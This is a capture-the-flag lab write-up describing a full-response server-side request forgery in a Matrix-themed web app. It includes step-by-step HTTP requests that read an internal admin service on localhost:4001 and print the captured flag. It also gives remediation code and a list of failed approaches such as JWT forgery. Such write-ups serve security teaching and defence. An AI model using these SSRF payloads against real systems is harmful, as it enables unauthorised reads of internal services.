BugForge — 2026.06.03

Hacker's Paradise: Full-Response SSRF to Internal Admin Service

BugForge Full-Response SSRF medium

Executive Summary

Hacker’s Paradise is a 90s/2000s warez-nostalgia web application themed around The Matrix, backed by a Node/Express JSON API. The objective is the redpill role and the admin console at /api/redpillconsole/*, which holds the flag. The public admin route group is correctly gated: every /api/redpillconsole/* request from an unprivileged bluepill account returns 403. That gate is irrelevant. The application exposes a LimeWire “download” feature that fetches an attacker-supplied URL server-side and returns the upstream response body verbatim. The fetch reaches an internal admin service on localhost:4001 that has no authentication of its own, and the flag is served from http://localhost:4001/admin/flag.txt.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Full-response SSRF reaches internal admin service High 7.7 CWE-918, CWE-441 POST /api/limewire/download

The headline finding is a server-side request forgery that returns the fetched body to the caller. Any registered user can read internal-only services that the public application’s role gate was meant to protect. The role gate on the public admin routes is never defeated and never needs to be: the SSRF talks to the backend directly.


Objective

Capture the flag on the Hacker’s Paradise lab. The flag lives behind the redpill admin role; the engagement goal was to reach it from an unprivileged bluepill starting position.


Scope / Initial Access

# Target Application
URL: https://lab-1780004722867-yjv70t.labs-app.bugforge.io

# Auth details
POST /api/auth/register {username,password} -> {success, token, user:{id,username,role:"bluepill"}}
POST /api/auth/login    {username,password} -> {success, token}
GET  /api/auth/me       Bearer              -> {authenticated, user:{id,username,role,iat,exp}}
Authorization: Bearer <jwt>   # HS256, payload {id, username, role, iat, exp}
# A freshly registered account is issued role="bluepill" (unprivileged).

Registration is open. A new account receives a signed HS256 JWT with role:"bluepill". The privileged role is redpill. The static page /redpillconsole.html is served 200 to anyone, including bluepill accounts, so the real access control is on the API, not the page.


Reconnaissance: Mapping the API and the Internal Hint

The application surface was mapped from the per-page JavaScript bundles and the API responses. The LimeWire download feature and the admin route group shaped the entire test plan.

  1. POST /api/limewire/download takes a torrent_url and returns the fetched content inside a data field. The legitimate value is http://localhost:4000/torrent/download/<file>, an internal localhost address. A fetch feature whose normal input is an internal URL, and that hands the response body back to the caller, is a read into internal services.
  2. The admin route group /api/redpillconsole/* (stats, users, orders, guestbook) returns 403 to a bluepill account uniformly across every route, so direct access-control drift on the public admin routes was ruled out early.
  3. Authentication is JWT, HS256, payload {id, username, role, iat, exp}. The role claim is in the token, which raised JWT forgery as a fallback path that was not needed.
  4. The legitimate torrent_url value disclosed an internal host and port (localhost:4000). That hint is the lead the SSRF was built on.

Application Architecture

Component Detail
Backend Node / Express, JSON API under /api/*
Frontend Static HTML pages with per-page JS bundles (/js/*.js)
Auth JWT (HS256) in localStorage.token, sent as Authorization: Bearer
Internal services localhost:4000 (torrent service), localhost:4001 (admin service)

API Surface

Endpoint Method Auth Notes
/api/auth/register POST No Self-service registration, returns bluepill JWT
/api/auth/login POST No Returns JWT
/api/auth/me GET Bearer Returns decoded user from token
/api/limewire/download POST Bearer Fetches torrent_url, returns body in data (F1)
/api/limewire/files GET Bearer Search by ?q=
/api/guestbook POST Bearer Stored guestbook entry
/api/redpillconsole/* GET/DELETE Bearer + redpill Admin console, returns 403 to bluepill

Roles

Role Privilege
bluepill Default on registration, unprivileged
redpill Privileged, required for /api/redpillconsole/*

Attack Chain Visualization

┌───────────────────┐     ┌───────────────────────┐     ┌──────────────────────┐     ┌─────────────────────┐
│  Register account │     │ POST /api/limewire/   │     │ Allowlist permits    │     │ GET (via fetcher)   │
│  bluepill JWT     │ ──▶ │ download torrent_url= │ ──▶ │ localhost:4000 +     │ ──▶ │ localhost:4001/     │
│  (any user)       │     │ internal URL; body    │     │ localhost:4001       │     │ admin/flag.txt      │
│                   │     │ returned in `data`    │     │ (4001 = admin svc)   │     │  -> flag in body    │
└───────────────────┘     └───────────────────────┘     └──────────────────────┘     └─────────────────────┘

Findings

F1: Full-Response SSRF Reaches Internal Admin Service

Severity: High CVSS v3.1: 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N CWE: CWE-918 (Server-Side Request Forgery), CWE-441 (Unintended Proxy or Intermediary) Endpoint: POST /api/limewire/download Authentication required: Yes (any registered bluepill account)

Description

The LimeWire download feature fetches the URL supplied in torrent_url server-side and returns the upstream response body to the caller in the data field. The host and port are restricted by an allowlist that accepts the literal strings localhost:4000 and localhost:4001 (127.0.0.1 and other hosts are rejected with “Invalid service URL”), but any path on those two hosts is attacker-controlled and the body is reflected back unchanged.

The internal service on localhost:4001 has no authentication of its own. The public application enforces a redpill role gate on /api/redpillconsole/* (a bluepill account receives 403), but that gate protects only the public routes. The SSRF reaches the internal service directly, where the flag is served from /admin/flag.txt.

Impact

Any registered user can read internal-only services, including the admin service that holds the flag and order records containing calling-card numbers.

Reproduction

Step 1: Register an unprivileged account

POST /api/auth/register HTTP/1.1
Host: lab-1780004722867-yjv70t.labs-app.bugforge.io
Content-Type: application/json

{"username":"recon01","password":"Passw0rd!"}

Response: {"success":true,"token":"<jwt>","user":{"id":...,"username":"recon01","role":"bluepill"}}. The account is bluepill.

Step 2: Confirm the fetch reflects the upstream body

POST /api/limewire/download HTTP/1.1
Host: lab-1780004722867-yjv70t.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"torrent_url":"http://localhost:4000/"}

Response contains the upstream body inside data. The server fetched an internal URL and returned its content to us.

Step 3: Map the allowlist boundary A sweep of hosts and ports shows the allowlist accepts only localhost:4000 and localhost:4001. 127.0.0.1, other ports, and external hosts return Invalid service URL. The service on localhost:4001 is an admin service distinct from the 4000 torrent service.

Step 4: Read the flag from the internal admin service

POST /api/limewire/download HTTP/1.1
Host: lab-1780004722867-yjv70t.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"torrent_url":"http://localhost:4001/admin/flag.txt"}

Response: the data field carries {"flag":"bug{iFAQhChtqvSNhpWICVvYZ4HBewayueVp}"}.

Remediation

Fix 1: Do not return the upstream response body to the caller

// BEFORE (Vulnerable): the fetched body is reflected back verbatim
const upstream = await fetch(torrent_url);
const data = await upstream.text();
return res.json({ success: true, data });

// AFTER (Secure): act on the response server-side; never reflect it
const upstream = await fetch(torrent_url);
if (!upstream.ok) return res.status(502).json({ error: "fetch failed" });
await persistTorrentMetadata(await upstream.json());
return res.json({ success: true }); // no upstream body in the response

Fix 2: Restrict the fetch target to an explicit, validated resource, not a free-form URL

// BEFORE (Vulnerable): caller supplies an arbitrary URL,
// host:port allowlist is the only check
const { torrent_url } = req.body;

// AFTER (Secure): caller supplies an opaque identifier; the server
// builds the URL from a fixed base it controls
const { torrent_id } = req.body;
if (!/^[a-zA-Z0-9_-]+$/.test(torrent_id)) return res.status(400).end();
const url = `http://torrent-service.internal/torrent/download/${torrent_id}`;

Additional recommendations:

  • Require authentication on the internal services (localhost:4000, localhost:4001); do not assume the network boundary is the only caller.
  • Enforce the allowlist on the resolved address, not the literal host string, to defeat DNS-rebinding and redirect bypasses.
  • Disable redirect following on the server-side fetch, or re-validate every redirect hop against the allowlist.

OWASP Top 10 Coverage

  • A10:2021 Server-Side Request Forgery (SSRF): The download feature fetches an attacker-supplied URL and returns the body, reaching internal services that are not meant to be client-accessible.
  • A01:2021 Broken Access Control: The redpill role gate on the public admin routes is bypassed in effect: the internal admin service it protects is reached directly through the SSRF, which has no equivalent gate.
  • A04:2021 Insecure Design: A “fetch a URL” feature that reflects the upstream body, behind an internal network that trusts itself, is exploitable by design regardless of the host allowlist.

Tools Used

Tool Purpose
Browser DevTools Reading per-page JS bundles and API responses
HTTP client (curl / Burp) Issuing the download requests and the port sweep

References


Failed Approaches

Approach Result Why It Failed
Direct access on public /api/redpillconsole/* GET routes Uniform 403 to bluepill Role gate is enforced consistently across the route group
Word-list fuzzing of localhost:4001/admin/* paths 200 “You’re so close” on every path Deliberate catch-all anti-fuzz response; only curated file/flag names hit a real route
localhost:4000/redpillconsole/* and /rabbithole enumeration Decoy taunt trees (“How deep does the rabbit hole go?”) Pure distraction; no flag-bearing route on 4000
SSRF to 127.0.0.1, other ports, cloud metadata Invalid service URL Allowlist accepts only the literal strings localhost:4000 / localhost:4001
Mass-assignment role:"redpill" on register; JWT alg=none / weak-secret forge Not exercised Lab solved via SSRF; these remain unconfirmed secondary candidates
SQLi on /api/limewire/files?q=; change-password IDOR; guestbook author spoofing Not exercised Parked once the SSRF reached the flag

Tags: #ssrf #full-response-ssrf #internal-service #broken-access-control #bugforge Document Version: 1.0 Last Updated: 2026-06-03

#ssrf #full-response-ssrf #internal-service #broken-access-control #cwe-918 #bugforge